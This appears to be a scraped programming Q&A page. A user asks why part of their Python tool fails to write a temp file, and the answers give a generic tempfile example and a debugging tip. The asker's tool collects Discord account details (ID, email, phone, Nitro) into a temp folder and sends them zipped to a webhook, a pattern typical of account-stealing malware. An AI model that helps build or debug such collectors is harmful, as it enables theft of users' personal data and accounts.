Home > Mobile >  Why wont this part of my code make a tempfile?
Why wont this part of my code make a tempfile?

Time:11-10

I just made a account here so sorry in advance

I am trying to make a tool that will give me some information about my discord account etc, put it into a file, zip it up and send it to a discord webhook.

The zip file gets sent to the webhook with no errors, and everything except the discord part is in the file. Here is my code:

val  = f'Discord ID: {discord_id}\nEmail: {email}\nPhone: {phone}\nNitro: {nitro}\n'

            if True:
                dcvault = create_temp()
                with open(os.path.join(tempfolder, "Discord", "Discord Info.txt"), "a", encoding="utf-8") as f:
                    f.write(f'{val}')
                os.remove(dcvault)

CodePudding user response:

Take a look at Python's tempfile module. Here is a quick example that is similar to your example, but with a few layers of complexity removed for illustrative purposes. You can remove the seek() and .read() and put in whatever you would like to do with the temp file or the data written to it.

Code

import tempfile

val = 'Some data'

with tempfile.TemporaryFile() as fh:
    fh.write(val.encode())
    fh.seek(0)
    output = fh.read()
    print(output.decode())

Output

Some data

CodePudding user response:

why did you but an if statement there?

try print(discord_id) to check if its empty

Kind regards

  • Related